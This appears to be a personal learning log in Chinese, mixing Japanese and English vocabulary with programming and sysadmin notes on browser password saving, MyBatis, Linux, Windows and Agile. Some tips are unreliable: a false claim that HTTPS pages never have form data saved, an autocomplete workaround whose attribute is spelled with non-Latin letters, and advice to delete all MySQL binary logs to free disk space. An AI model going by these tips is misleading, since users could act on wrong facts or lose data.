我在input上使用了autocomplete="off",但在有的浏览器上还是被记住了用户名跟密码,请问有没有更有效及简便的方法来防止浏览器记住用户名及密码?
为什么有的网址能保存密码,有的不能
・原理:
首先大部分浏览器都是根据表单域的type="password"来判断密码域的
・解决:
方案1.动态修改: <input type="text" name="password" οnfοcus="this.type='password'" />
方案2.页面采用https协议,因为https是不会对表单进行保存信息的。
方案3.使用Ajax提交信息。
(方案3:IE有效,Chrome,Edge无效)
27.Chrome 查看保存的网站密码
設定 ⇒ 自動入力 ⇒ パスワード
28.Edge 查看保存的网站密码
設定 ⇒ プロファイル ⇒ パスワード
29.Request Payload // Chrome
画面
Header
chrome浏览器开发者模式header请求参数 "Request Payload" 找不到
(当您想查看网络请求中的 payload 信息时,可以使用网络面板里面的 Payload 边栏。此前,payload 信息出现在报头边栏里)
(比如提交表单的用户,密码信息,都可以在这里面看到)
chrome浏览器开发者模式header请求参数“Request Payload“找不到的问题_m0_54850604的博客-CSDN博客_chrome payload
30.Chrome清空浏览器缓存
开发者工具 ⇒ NetWork ⇒ Disable Cache
然后 按下【F5】
■2022/06/02 以降
1.とかないと
今日やっとかないと
原句本来是这样的。 今日、やって おかない と,意思是, 如果今天干不好就....(不行。)
行っとかないと // 是(最好去)的意思
是ておく、提前做好某事的补助词
语中约音成とく
ておく的否定是ておかない
那么口语就变成了とかない
2.XXX is not recognized as an internal or external command
XXX 无法识别为内部或外部命令
3.The process tried to write a nonexistent pipe
进程试图写入不存在的管道
4.直ちに ただちに
5.余地 よち // 改善の余地
6.Manifest version 2 is deprecated, and support will be removed in 2023. // Google 自定义 Plugin
manifest.json
{
"name": "性能テスト Chrome pulugin",
"manifest_version": 2,
"version": "1.0",
"description": "性能テスト Use Redmine",
"content_scripts": [
{
"matches": ["https://redmine.sxz/xxx/xxx/time_entries/new"],
"js": ["myscript.js"]
}
]
}
===
myscript.js
test001();
function test001() {
alert("HelloWorld---");
// document.body.style.backgroundColor="gray";
document.querySelector("#time_entry_comments").value="123";
document.querySelector("#time_entry_hours").value="666";
// document.forms[2].submit();
alert("end");
}
学习
https://ssssccccc/l====c====i/#/assis=====tant/trai=====ning/cour====ses?acti======ve=0
7.リビング living;客厅,起居室。
8.リラックス relax ;放松,松弛,轻松,缓和
9.親 [おや] 双亲;父母
10.トラベル travel;旅行。 トラブル trouble;故障。
11.~たばかりです 表示前面动作行为刚刚结束
12.転ぶ ころぶ 跌倒;滚动;
13.日语语法学习
日本語の文法 | 毎日のんびり日本語教師 (nihongonosensei)
14.キリが悪くて 没完没了
15.面向対象的三大特性:(英语)
封装(Encapsulation) // [ɪnˌkæpsjʊˈleɪʃən]
继承(Inheritance)
多态(polymorphism) // ジャバ多型 // 英 [ˌpɒlɪˈmɔːfɪzəm]
16.VBA 运行时错误-2147319767 (80028029)
■代码位置:
Sheets("Tool").Select
// 读取对象文件文件可以正常打开,文件中也存在「Tool」sheet
■原因:
读取对象文件,遭到了某种程度损坏?
或者 某个 属性被特别设置了?。
(具体哪里损坏?设置?,未知。。。)
■解决:
重新换一个读取对象文件
17.AJAX请求 状态pending
程序使用mysql数据库,
原因:
使用 df -h 命令查看数据库磁盘容量 满了(100%)。
解决:
1.停止 mysql
2.找到 log-bin 的目录,删除,目录下的所有内容
(index文件也一起删除,和bin文件不匹配时,mysql无法正常启动)
cat /etc/myf | grep log_bin
cat /etc/myf | grep log_bin_index
3. 启动 mysql
18.tasklist
tasklist | findstr /I "outlook PID"
问:任务管理器中显示的进程内存占用值和tasklist输出的为什么不一样?
答:Tasklist默认显示的是Working Set,任务管理器默认是Private Working Set
19.ECHO ^G
问:为什么听不见声音
答:现在好多机器 PC喇叭是不装的,注意是喇叭不是音箱!
注意听一下你开机的时候系统自检正常后有没有 “”嘀“”的一声 要是没有就是没装那个喇叭。
20.スライドショー // 播放幻灯片 slide show ;图片浏览。 // windows 锁屏设置
21.obsolete [ˈɒbsəˌliːt] adj. 废弃的;老式的 // java Dictionary // NOTE: This class is obsolete. New implementations should
【22.java 监视器monitor】
(对象的 内在锁(intrinsic lock) 或叫 监视器锁 (monitor lock ))
synchronized 工作机制是这样的:Java中每个对象都有一把锁与之相关联,锁控制着对象的synchronized代码。一个要执行对象的synchronized代 码的线程必须先获得那个对象的锁。
【23.逻辑分页・物理分页】
mybatis逻辑分页和物理分页的区别是什么__Jimmy_的博客-CSDN博客_mybatis物理分页和逻辑分页
物理分页 就是数据库本身提供了分页方式,如MySQL的limit,oracle的rownum ,好处是效率高,不好的地方就是不同数据库有不同的搞法。
自己手写 SQL 分页或使用分页插件 PageHelper,去数据库查询指定条数的分页数据的形式。
逻辑分页 利用游标分页,好处是所有数据库都统一,坏处就是效率低。
使用 MyBatis 自带的 RowBounds 进行分页,它是一次性查询很多数据,然后在数据中再进行检索。
【24.常用ORM框架采用的分页技术】
①:hibernate采用的是物理分页;
②:MyBatis使用RowBounds实现的分页是逻辑分页,也就是先把数据记录全部查询出来,然在再根据offset和limit截断记录返回(数据量大的时候会造成内存溢出),不过可以用插件或其他方式能达到物理分页效果。
【25.逻辑分页 // mybatis】
Mybatis逻辑分页原理解析RowBounds_归田的博客-CSDN博客_rowbounds
Mybatis提供了一个简单的逻辑分页使用类RowBounds(物理分页当然就是我们在sql语句中指定limit和offset值),在DefaultSqlSession提供的某些查询接口中我们可以看到RowBounds是作为参数用来进行分页的,如下接口:
【26.#和$ // mybatis // xml】
#{ }:解析为一个 JDBC 预编译语句(prepared statement)的参数标记符。 (一个 #{ } 被解析为一个参数占位符 ? 。)
${ }:是直接替换字符串
・能使用 #{ } 的地方就用 #{ }
・表名作为变量时,必须使用 ${ }
・${ } 变量的替换阶段是在动态 SQL 解析阶段,而 #{ }变量的替换是在 DBMS 中。
【27.sql预编译】
1. 定义:
sql 预编译指的是数据库驱动在发送 sql 语句和参数给 DBMS 之前对 sql 语句进行编译,这样 DBMS 执行 sql 时,就不需要重新编译。
2. 为什么需要预编译
JDBC 中使用对象 PreparedStatement 来抽象预编译语句,使用预编译。预编译阶段可以优化 sql 的执行。预编译之后的 sql 多数情况下可以直接执行,DBMS 不需要再次编译,越复杂的sql,编译的复杂度将越大,预编译阶段可以合并多次操作为一个操作。预编译语句对象可以重复利用。把一个 sql 预编译后产生的 PreparedStatement 对象缓存下来,下次对于同一个sql,可以直接使用这个缓存的 PreparedState 对象。mybatis 默认情况下,将对所有的 sql 进行预编译。
28.BIGip (F5 BIG-IP广域流量管理器) // CURL -I URL // Set-Cookie: BIGipServer
F5 BIGip 负载均衡 IP算法解密工具_jast_zsh的博客-CSDN博客_bigip
BIGip是对负载均衡的实现,主要通过Virtual Server、iRules、Pool、Node、Monitor和Persistent(会话保持)实现。BIGip在实现会话保持机制时会在用户首次发起请求时,会为用户设置一个cookie,即服务端会添加set-cookie响应头头(比如:Set-Cookie: BIGipServerFinanceAndAdminWebfo.unc.edu=105389996.20480.0000 )。后续的请求会判断并使用这个cookie值,服务端解码该cookie并使用服务器
29.月頭 げっとう つきがしら // 月のはじめ。つきがしら。つきはな // 月初
30.
■2022/05/19~2022/06/29纯单词整理
1.BASIC 认证 // res.addHeader("WWW-Authenticate", "basic realm=\"no auth\"");
2.anniversary [ˌænɪˈvɜːsərɪ] n. 周年纪念(日) 8 Years anniversary //05/19
3.bare [bɛr] adj. 最少的,最;最基本的;
// uses bare format 使用简洁方式 //dir /b /s
4.bear n. 熊;蛮横的人;卖空的人 v. 承载;忍受;持有; adj. 跌价的;卖空者的
5.同時 どうじ
6.同等 どうとう // 本番同等環境
7.formula [ˈfɔːrmjələ] n. 准则;公式;(赛车的)方程式;
// VBA ActiveCell.FormulaR1C1 = XXXX
8.フォーミュラ formula .式;公式;小九九;口诀;式子;分子式;通式;
9.奇数 きすう 10.偶数 ぐうすう
11.棚卸し たなおろし 1.盘货,盘点存货。
12.盘点 点検﹝てんけん﹞; 棚卸し
13.相応しい ふさわしい 适合,适称,相称
14.sticky [ˈstɪkɪ] adj. 粘性的;湿热的; // ls -ld /tmp // chmod o+t // 权限为“rwxrwxrwt
粘滞位一般用于/tmp目录, 只有目录内文件的所有者或者root才可以删除或移动该文件。
以防止普通用户删除或移动其他用户的文件.
15.行っとかないと // 是(最好去)的意思
16.XXX is not recognized as an internal or external command
// XXX 无法识别为内部或外部命令
17.The process tried to write a nonexistent pipe // 进程试图写入不存在的管道
18.直ちに ただちに // 立刻,马上
19.余地 よち // 改善の余地
20.リビング living;客厅,起居室。
21.リラックス relax ;放松,松弛,轻松,缓和
22.親 [おや] 双亲;父母
23.トラベル travel;旅行。 トラブル trouble;故障。
24.~たばかりです 表示前面动作行为刚刚结束
25.転ぶ ころぶ 跌倒;滚动;
27.キリが悪くて 没完没了
28.封装(Encapsulation) // [ɪnˌkæpsjʊˈleɪʃən]
29.继承(Inheritance)
30.多态(polymorphism) // ジャバ多型 // 英 [ˌpɒlɪˈmɔːfɪzəm]
31.MyBatis使用RowBounds实现的分页是逻辑分页
32.预编译语句(prepared statement) // #{ }:解析为一个 JDBC 预编译语句
33.java 监视器monitor
//对象的 内在锁(intrinsic lock) 或叫 监视器锁 (monitor lock ) // synchronized
34.obsolete [ˈɒbsəˌliːt] adj. 废弃的;老式的 // java Dictionary
// NOTE: This class is obsolete. New implementations should
35.スライドショー // 播放幻灯片 slide show ;图片浏览。 // windows 锁屏设置
36.ECHO ^G // windows 喇叭(不是音箱)
37.Request Payload // Chrome // user and password info
38.月頭 げっとう つきがしら // 月のはじめ。つきがしら。つきはな // 月初
■2022/06/30 以降
1.たえず 絶えず // 不断,经常,无休止,连续。 // 地球は絶えず自転している。// 地球不断地自转。
2.守护进程 (特点之一)
与控制台脱离 (即,没有对应的 TTY, TTY的位置,显示一个问号[?])
普通进程都和运行该进程的控制台相绑定,
表现为如果终端被强制关闭,则这个终端中运行的所有进程都被会关闭,
背后的问题还在于会话
3.ps
ps -ajx偏向显示各种有关的ID号;
ps -aux偏向显示进程各种占用资源
ps -elf偏向显示进程启动时间,运行时间等信息
4.RPC(Remote Procedure Call)远程过程调用
它是一种通过网络从远程计算机程序上请求服务,而不需要了解底层网络技术的协议。简单的理解是一个节点请求另一个节点提供的服务
通过下面命令,可以查看本机nfs共享目录情况
showmount -e localhost
5.Win11任务栏不显示扩展屏怎么办? Win11任务栏显示双显示屏的技巧
Win11任务栏不显示扩展屏怎么办? Win11任务栏显示双显示屏的技巧_windows_萬仟网
6.オペランド // operand 运算对象,操作数 英 [ˈɒpəˌrænd] // chmod 错误使用时 chmod file1
===
-rw-rw-r-- 1 sxz001 sxz001 134 4月 29 2021 user.csv
sxz001@sxzap01:~$
sxz001@sxzap01:~$
sxz001@sxzap01:~$ chmod user.csv
chmod: `user.csv' の後オペランドがありません
Try 'chmod --help' for more information.
sxz001@sxzap01:~$
sxz001@sxzap01:~$ LANG=C chmod user.csv
chmod: missing operand after 'user.csv'
Try 'chmod --help' for more information.
sxz001@sxzap01:~$ S
7.Eclipse git 坑 // 非常 重要的设定 // core.autocrlf
Eclipse相关操作整理_sun0322的博客-CSDN博客
8.かみなり 雷 雷
9.いなずま 稲妻 闪电。(いなびかり。
10.linux查看当前目录下的所有目录 (说明:目录的最后面,是 / ,所以使用 */ 进行查询)
ls -d */
ls -ld */
11.ごと 一共,连同,连……带。
フォルダごとローカルにコピーして実行する。 // tool的使用方法。 // 连同文件夹一起复制到本地执行。
12.ls -Recurse -Filter *.sh -file | Get-FileHash // 取得目录下,所有sh文件的 hash 值 // 使用 filter参数
13.極秘 ごくひ 绝密
14.profile
原意: n. 侧面;剖面;人物简介;外形;轮廓
===
IT中的使用:
简介,特征 (不同的环境,使用不同的设置时,常用 profiles属性设置)
特征
YML文件中
spring.profiles.actice: - prod
pom.xml中
<profiles>
<profile>
<id>dev1</id>
<properties>
<aaa.bbbc>value1</aaa.bbbc>
<properties>
<id>dev2</id>
...
15.少なめ // すくなめ // 略少,稍少一些 // 塩分を少なめにする // 少放点盐。 // 塩分 えんぶん
16.兼ねる かねる
// つの物,ひとりの人が二つ以上の働き(役目)をする。
//《動詞の連用形に付けて》ある事情が働いて,そうしようと思ってもしにくい。
// 賛成し兼ねる // 难以同意
17.forbidden 英 [fə'bidn] adj. 被禁止的,严禁的
18.401 和 403 区别
状态码401 和 403_Rnger的博客-CSDN博客_401 403
401 Unauthorized 未授权 // 401 Authorization Required
客户端在访问请求的资源之前,对自己进行认证;HTTP提供一个原生的质询/响应
质询(响应首部www-Authenticate)
403 Forbidden 拒绝访问
资源不可用,服务器理解客户的请求,但拒绝处理它
19.spread 英 [spred] // spread sheet // Excel 比较工具
// v. (使)扩散,蔓延;展开;摊开;涂;将…分散;分摊;(使)传播,散布
// n. 传播;酱;盛宴;伸展;范围;价差;蔓延;分配;多样;横贯两版的篇幅
20.スタッフ 【英】stuff;材料,原料。【英】staff;成员;人员;职员。
21.学科 がっか
22.寄る // どこかに行く途中で訪れる。
コンビニにも寄って来てよ // 顺便去一下便利店吧
帰りに友人の家に寄る // 回来时顺便到朋友家串门儿。
23.Java解析XML(4种方法)
Java解析XML(4种方法)_蓝星花的博客-CSDN博客_java xml
DOM, SAX, JDOM, DOM4J
24.NISQ // 「我们正进入一个量子技术新时代,我称其为『NISQ』。」
人类在实现 50-100 量子位的中型量子计算机后,
便可将其应用于探索许多现有经典计算机无法进行但更具开拓性的研究领域,
也意味着人类即将进入量子技术发展中
一个关键的新时代——含噪声的中型量子
(Noisy Intermediate-Scale Quantum, NISQ)时代。
25.Google 查看个人目录
chrome://version/
26.ペースト 【英】paste;粘贴,贴附。
27.センチ .【英】centi;公分,厘米。
28.コンテスト contest 竞赛 // コンテキスト context 上下文
29.応募 おうぼ // 应募,报名参加。 // コンテストに応募
30.勤める つとめる // 大学を卒業してからは、市役所に勤めています
31.掴める つかめる 抓住
32.試み こころみ 【名词】 尝试,试一试,试试看。
33.抱える かかえる // 1.抱,夹。 2.承担,负担,照看
34.そろそろ 1.就要,快要;不久。 2.渐渐;逐渐。 3.慢慢地;徐徐地。
35.いよいよ .越……越……,越发,更加;到底,终于,到最后;果真,确实;紧要关头,关键时刻
---
いよいよ明日出発します。 终于明天要出发了。
もうそろそろ晚飯だ。 就要吃晚饭了。
そろそろ出ましょう。该出发了。
---
36.じっくり 慢慢地;仔细地;不慌不忙;踏踏实实。
37.ラッシュ 【英】rush ;拥挤。(混雑。) // 通勤ラッシュ
38.スラッシュ 斜线号(如“/”之类) // slash 英 [slæʃ] n. 砍;砍痕,伤痕;斜杠;斜线号;沼泽低地;削减
39.育てる そだてる 人材を育てる。 培养人才。 花を育てる。 养花
40.やった 成功了;太好啦
■2022/07/22 以降
1.角 かど // もうすぐですよ。市役所の前の信号を渡ってください。渡ってすぐ銀行があるので、その角を左に曲がってください。
2.曲がる まがる 转弯。
3.貯める ためる 积累,储蓄。 、貯金 ちょきん
4.コンソール 【英】console [kənˈsəʊl] 控制中心,中央控制台。 // glassfish 4848
5.コントロール 【英】control;管控,控制,调节。 // PC 控制面板 コントロールパネル control panel
6.tcp drop // firewall-cmd --list-all
在firewalld中,DROP很简单就是直接丢弃数据,并不反馈任何回应。需要Client等待超时,Client容易发现自己被防火墙所阻挡。而REJECT则会更为礼貌的返回一个拒绝(终止)数据包(TCP FIN或UDP-ICMP-PORT-UNREACHABLE),明确的拒绝对方的连接动作。连接马上断开,Client会认为访问的主机不存在。
7.プレゼン // 【英】presentation;在会议等场合,提出或发表自己的规划、提案、意见等。 // ついでにちょっとアドバイスすると、プレゼンは、声の大きさが大事だよ。あ、あと表情もね。
8.付き合う // 1.陪伴,奉陪,应酬;交际,交往,来往。 // 彼は人と付き合うのがきらいだ。 // 他不喜欢和人交往。
9.具合 ぐあい 1.情况,状态,情形;健康情况;状态;方便,合适;方法,样子。
10.スキー 1.【英】(ski) ;滑雪;滑雪橇,滑雪板。
11.ゆえに 所以,因而,故而。 // われ思う、ゆえにわれ在り。 // 我思故我在。
12.halfConvert = StrConv(originalStr, vbNarrow) //VBA
halfConvert = StrConv(originalStr, vbNarrow)
13.スポットライト Spotlight 聚焦 // win11 锁屏壁纸 //win11聚焦功能 无效 解决
==========================================
0.锁屏设置,先选择【图片】
1.删除文件
%USERPROFILE%/AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\Assets
2.删除目录
%USERPROFILE%/AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\
└settings
3. 打开powershell,进行如下设置
===
Add-AppxPackage -disabledevelopment -register
===========
コマンド パイプライン位置 1 のコマンドレット Add-AppxPackage
次のパラメーターに値を指定してください:
Path:
===========
C:\WINDOWS\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AppxManifest.xml
===
5.锁屏设置,重新选择回【windows聚焦】
6.注销(重新登陆)
7.重新登陆后,需要等一段时间。
8.锁屏 (win + L)
(如果不出现,再等一段时间)
==========================================
(好用了!!!)
14.锁屏图片位置
%USERPROFILE%/AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\LocalState\Assets
15.打开powershell,进行如下设置 // 上面 【3】
Add-AppxPackage -disabledevelopment -register
===
コマンド パイプライン位置 1 のコマンドレット Add-AppxPackage
次のパラメーターに値を指定してください:
Path:
C:\WINDOWS\SystemApps\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\AppxManifest.xml
16.ややこしい // 複雑
17.だったり 「什么的啦,之类的啦,等等啦 。。。。」
18.javax.ws.rs.Path
@Path和Spring里的@RequestMapping作用完全一样。
javax.ws.rs.Path注解@Path的工作原理解析_汪子熙的博客-CSDN博客_javax.ws.rs
19.javafx.scene.shape.Path
・简介
Sun早在2007年就推出了JavaFX,作为客户端体验增强的一项特性,在被Oracle收购之后似乎变得可有可无。
===
jfxrt.jar
===
・JavaFX入门
JavaFX 入门_搬砖的小李同学的博客-CSDN博客_javafx
■2022/08/01 以降
1.繰り越し くりこし 转入,滚入
2.空白 くうはく
3.て
接动词和助动词“じゃ”“だ”“た”“ぬ”等的终止形后)表示轻微压住语气。
油断がならぬて。 // 可不能麻痹大意
それはわしじゃて。 // 那是我
4.って
知らないって言った。 他说不知道。 // と”的变化表示引用。
西湖っていい所ね。“というのは”的缩略 叫做…的是。
明日帰るって話だよ。 // 说是明天回去 // (“という”的缩略)说是…。叫做…。
5.がいがある // 「甲斐がある」「甲斐があって」は効果や価値があること
// 「甲斐」は本来「かい」と読みますが、動ます形と接続するときは「がい」と読みます。
6.one writing 签署订单认购; ワンライティング
7.っぽい // 、「っぽい」の形で用いる。…の傾向が強い。いかにも…という感じがする。) 看上去… 感觉… 容易…
忘れっぽい。 // 健忘。
おこりっぽい。 // 爱生气。
8.なければならない/なくてはならない/ないといけない/ねばならぬ // 必须 // 非…不可 // 应该…
9.ちゃって是てしまう的て形的口语说法,也就是てしまって,表示遗憾的语气
(为什么てしまう的口语是ちゃう(日语约音便)。省略前者元音后者辅音达到快速脱口而出的效果。)
10.暗い くらい // 朝の6時でしたが、まだ少し暗かったです。
11.走り抜く はしりぬく 1.跑着超过;坚持跑到底。
12.slash スラッシュ 【/】
13.rush ラッシュ 拥挤 通勤ラッシュ
14.cache キャッシュ 缓存
14.flush 冲洗 // 流操作 out.flush(); out.close();
15.protocol 协议
16.portal 入口,大门
17.policy 方针,政策
18.ssh -i // identify 识别 // 指定ssh登陆时,使用的 私钥文件
19.grep -i // ignore-case // 查询时,忽略(不区分)大小写
20.rm -v *.csv // verbose
21.curl //Liunx中,比windows中,有更多参数可以使用
curl -k -v -F "key1=valuse1" -F "key2=value2" https://xxxx.xxx/aaa/bbb
■2022/06/30~2022/08/11纯单词整理
01.たえず 絶えず // 不断,经常,无休止,连续。 // 地球は絶えず自転している。// 地球不断地自转。
02.RPC(Remote Procedure Call)远程过程调用
03.オペランド // operand 运算对象,操作数 英 [ˈɒpəˌrænd] // chmod 错误使用时 chmod file1
04.かみなり 雷 雷
05.いなずま 稲妻 闪电。(いなびかり。
06.ls -ld */ // linux查看当前目录下的所有目录 (说明:目录的最后面,是 / ,所以使用 */ 进行查询)
07.ごと 一共,连同,连……带。 フォルダごとローカルにコピーして実行する。
// tool的使用方法。 // 连同文件夹一起复制到本地执行。
08.極秘 ごくひ 绝密
09.profile 原意: n. 侧面;剖面;人物简介;外形;轮廓
// IT中的使用: 简介,特征 (不同的环境,使用不同的设置时,常用 profiles属性设置)
10.少なめ // すくなめ // 略少,稍少一些 // 塩分を少なめにする // 少放点盐。 // 塩分 えんぶん
11.兼ねる かねる //《動詞の連用形に付けて》ある事情が働いて,そうしようと思ってもしにくい
// 賛成し兼ねる // 难以同意
12.forbidden 英 [fə'bidn] adj. 被禁止的,严禁的
13.401 unauthorized 未授权 // 客户端在访问请求的资源之前,对自己进行认证
14.403 forbidden 拒绝访问 // 资源不可用,服务器理解客户的请求,但拒绝处理它
15.spread 英 [spred] // (使)扩散,蔓延;展开; // spread sheet // Excel 比较工具
16.スタッフ 【英】stuff;材料,原料。【英】staff;成员;人员;职员。
17.学科 がっか
18.寄る // どこかに行く途中で訪れる。
コンビニにも寄って来てよ // 顺便去一下便利店吧
帰りに友人の家に寄る // 回来时顺便到朋友家串门儿。
19.DOM, SAX, JDOM, DOM4J // Java解析XML(4种方法)
20.NISQ // 「我们正进入一个量子技术新时代,我称其为『NISQ』。」
21.ペースト 【英】paste;粘贴,贴附。
22.センチ .【英】centi;公分,厘米。
23.コンテスト contest 竞赛 // コンテキスト context 上下文
24.応募 おうぼ // 应募,报名参加。 // コンテストに応募
25.勤める つとめる // 大学を卒業してからは、市役所に勤めています
26.掴める つかめる 抓住
27.試み こころみ 【名词】 尝试,试一试,试试看。
28.抱える かかえる // 1.抱,夹。 2.承担,负担,照看
29.そろそろ 1.就要,快要;不久。 2.渐渐;逐渐。 3.慢慢地;徐徐地。
30.いよいよ .越……越……,越发,更加;到底,终于,到最后;果真,确实;紧要关头,关键时刻
31.じっくり 慢慢地;仔细地;不慌不忙;踏踏实实。
32.ラッシュ 【英】rush ;拥挤。(混雑。) // 通勤ラッシュ
33.スラッシュ 斜线号(如“/”之类) // slash 英 [slæʃ] n. 砍;砍痕,伤痕;斜杠;斜线号;沼泽低地;削减
34.育てる そだてる 人材を育てる。 培养人才。 花を育てる。 养花
35.やった 成功了;太好啦
36.角 かど // もうすぐですよ。市役所の前の信号を渡ってください。
渡ってすぐ銀行があるので、その角を左に曲がってください。
37.曲がる まがる 转弯。
38.貯める ためる 积累,储蓄。 、貯金 ちょきん
39.コンソール 【英】console [kənˈsəʊl] 控制中心,中央控制台。 // glassfish 4848
40.コントロール 【英】control;管控,控制,调节。 // PC 控制面板 コントロールパネル control panel
41.プレゼン // 【英】presentation;在会议等场合,提出或发表自己的规划、提案、意见等。
// ついでにちょっとアドバイスすると、プレゼンは、声の大きさが大事だよ。あ、あと表情もね。
42.付き合う // 1.陪伴,奉陪,应酬;交际,交往,来往。
// 彼は人と付き合うのがきらいだ。 // 他不喜欢和人交往。
43.具合 ぐあい 1.情况,状态,情形;健康情况;状态;方便,合适;方法,样子。
44.スキー 1.【英】(ski) ;滑雪;滑雪橇,滑雪板。
45.ゆえに 所以,因而,故而。 // われ思う、ゆえにわれ在り。 // 我思故我在。
46.halfConvert = StrConv(originalStr, vbNarrow) //VBA
47.スポットライト Spotlight 聚焦 // win11 锁屏壁纸 //win11聚焦功能 无效 解决
48.ややこしい // 複雑
49.だったり 「什么的啦,之类的啦,等等啦 。。。。」
50.javax.ws.rs.Path // @Path和Spring里的@RequestMapping作用完全一样。
51.繰り越し くりこし 转入,滚入
52.空白 くうはく
53.て, 接动词和助动词“じゃ”“だ”“た”“ぬ”等的终止形后)表示轻微压住语气。
// 油断がならぬて。 // 可不能麻痹大意 それはわしじゃて。 // 那是我
54.って
知らないって言った。 他说不知道。 // と”的变化表示引用。
西湖っていい所ね。“というのは”的缩略 叫做…的是
明日帰るって話だよ。 // 说是明天回去 // (“という”的缩略)说是…。叫做…
55.がいがある // 「甲斐がある」「甲斐があって」は効果や価値があること
// 「甲斐」は本来「かい」と読みますが、動ます形と接続するときは「がい」と読みます。
56.one writing 签署订单认购; ワンライティング
57.っぽい 「っぽい」の形で用いる。…の傾向が強い。いかにも…という感じがする。 看上去… 感觉… 容易…
58.なければならない/なくてはならない/ないといけない/ねばならぬ // 必须 // 非…不可 // 应该…
59.ちゃって是てしまう的て形的口语说法,也就是てしまって,表示遗憾的语气
60.暗い くらい // 朝の6時でしたが、まだ少し暗かったです。
61.走り抜く はしりぬく 1.跑着超过;坚持跑到底。
62.sh ch
slash スラッシュ 【/】 rush ラッシュ 拥挤 通勤ラッシュ
cache キャッシュ 缓存flush 冲洗 // 流操作 out.flush(); out.close();
63.protocol 协议
64.policy 方针,政策
65.identify 识别 // ssh -i // 指定ssh登陆时,使用的 私钥文件
66.ignore grep -i // ignore-case // 查询时,忽略(不区分)大小写
67.verbose rm -v *.csv // verbose
■2022/08/12 以降
1.time [options] COMMAND [arguments]
Linux time命令的用途,在于量测特定指令执行时所需消耗的时间及系统资源等资讯。
time ll
2.threshold 英 [ˈθrɛʃəʊld] n. 极限;临界值;门槛,入口;开始 境界値
3.recognition n. 认出,识别;承认;赏识;招呼;发言权
4.manipulation 英 [məˌnɪpjʊˈleɪʃən] n. 操作;处理;伪造,篡改;操纵
5.対応付け 映射 // XMLの対応付け XML 映射 // Excel ⇒開発 ⇒ソース ⇒XMLソース ⇒XMLの対応付け // XML import export
6.Excel单元格 最大 32768 (32767)
Excel单元格中最多可以输入2的15次方减1个字节,也是32K。即32*1024=32768-1( 32767)个英文字符。
7.Docker镜像创建 与 使用
====================================================================================
Docker 镜像制作--------------主要有两种方式: 【 Dockerfile】 和 【快速制作方式】
Docker 镜像制作-阿里云开发者社区
---
【直播回顾】Java Spring Boot开发实战系列课程(第17讲):Spring Boot 2.0实战Docker容器Linux-阿里云开发者社区
--
Docker容器间通信
docker容器间的通信【连接MongoDB数据库】_Potato、OvO的博客-CSDN博客_docker连接数据库
Docker使用Jenkins镜像创建容器
Docker 使用 Jenkins 镜像创建容器(转) - 小雨淅淅o0 - 博客园
====================================================================================
8.continuous [kənˈtɪnjʊəs] // CI continuous integration 持续集成
9.delivery [dɪˈlɪvərɪ] n. 投递,传送;交付;转让 // CD 持续交付
10.deliverables 英 [dɪˈlɪvərəbəlz] (合同等中指明的)交付成果,交付物
11.duration 英 [djʊˈreɪʃən] 美 [dʊˈreɪʃən] n. 持续时间;期间
12.accuracy 英 [ˈækjʊrəsɪ] n. 准确(性),准确无误
13.role n. 作用;角色
14.intelligent 英 [ɪnˈtɛlɪdʒənt] adj. 聪颖的,理解力强的;智能的 // AI // AI Artificial [ˌɑːtɪˈfɪʃəl] 人造的
15.integration 英 [ˌɪntɪˈɡreɪʃən] n. 结合;一体化;集成;综合;混合 // IT (Integration Test 结合测试) // CI continuous integration
16.information (Information Technology) 信息技术
17.indent インデント 缩进 // 例:(XXX処理返却の)実際のJSONには改行やインデントはありません。
18.DTO即数据传输对象 Data Transfer Object // JSON // Response // DTO
19.ResponseEntity<XXXXXResultDTO> // Json // RestTemplate.exchange
※ Bean【XXXXXResultDTO】中定义的属性,于JSON的结构相同
---
1、ResponseEntity继承了HttpEntity,可以添加HttpStatus状态码的HttpEntity的扩展类。被用于RestTemplate和Controller层方法
2、ResponseEntity可以定义返回的HttpStatus(状态码)和HttpHeaders(消息头:请求头和响应头)
---
package org.springframework.http;
。。。。。
public class ResponseEntity<T> extends HttpEntity<T> {
private final Object status;
。。。。。
---
package org.springframework.http;
。。。
public class HttpEntity<T> {
/**
* The empty {@code HttpEntity}, with no body or headers.
*/
public static final HttpEntity<?> EMPTY = new HttpEntity<>();
private final HttpHeaders headers;
@Nullable
private final T body;
。。。
---
ResponseEntity的基本简介_胖橘爱吃小白粥的博客-CSDN博客_responseentity
20. transfer 英 [trænsˈfɜː] 美 [ˈtrænsfər] v. 转换;转变;转让;转校
21.文件执行权限
sh test.sh // text.sh 的权限是 600 也可被执行
./test.sh // text.sh 的权限是 600 无法被执行。// Permission denied
sh+脚本名称,可以不必事先设定shell的执行权限。因为这个是将test.sh作为参数传给sh(bash)命令来执行的。这时不是test.sh自己来执行,而是被人家调用执行,所以不要执行权限。
22.アジャイル勉強 Agale
0.セレモニー ceremony ;典礼,仪式。 ( 可以理解为 敏捷中, 所有(各种)会议的统称)
// 在敏捷开发的生命周期中,每个阶段(Scrum)都有一个“仪式(ceremony)”,以便从开发团队和参与项目的其他利益相关者处获取反馈。
// 其中包括:冲刺(sprint)计划、每日scrum、冲刺评审、以及冲刺回顾。
五大仪式(ceremony)(事件):Sprint(冲刺)、Sprint Planning(Sprint规划)、Sprint Daily Standup(每日站会)、Sprint Review(Sprint 评审)和 Sprint Retrospective(回顾)。
1.機敏 きびん 1.机敏;敏捷,麻利;机灵。
2.柔軟 じゅうなん
3.エンゲージメント 【英】engagement;约定,契约,合约
(Engagement:参与)
4.エンパワーメント empowerment ;授权、许可。(権限を与えること。) // エンゲージメント を向上のため、エンパワーメントは必要 (自律 必要)
5.アプローチ 【英】approach;(向研究、学习的对象)接近。探讨。研究。
6.パレートの法則 帕累托定律 // 帕累托法则(英语:Pareto principle,
也被称为 2/8法则, 20%的交付,代表了80%最终商业价值。
(例:Excel中に、たくさん機能がある、ただ、一部(20%ぐらい)常に使用の機能を利用します。)
7.ミッション 任务 mission
8.ステークホルダー // 企業に利害関係を持つ人や組織。社員·株主・取引先のほか、消費者や地域住民を含めることもある。
9.巻き込み まきこみ // Customer Engagement ,现场客户。 // ステークホルダー
10.継続 けいぞく 継続改善
11.イラスト 【英】illustration ;插图,解说图,图解。 // // 仮説 ⇒ 実行 ⇒ 検証 の スライト
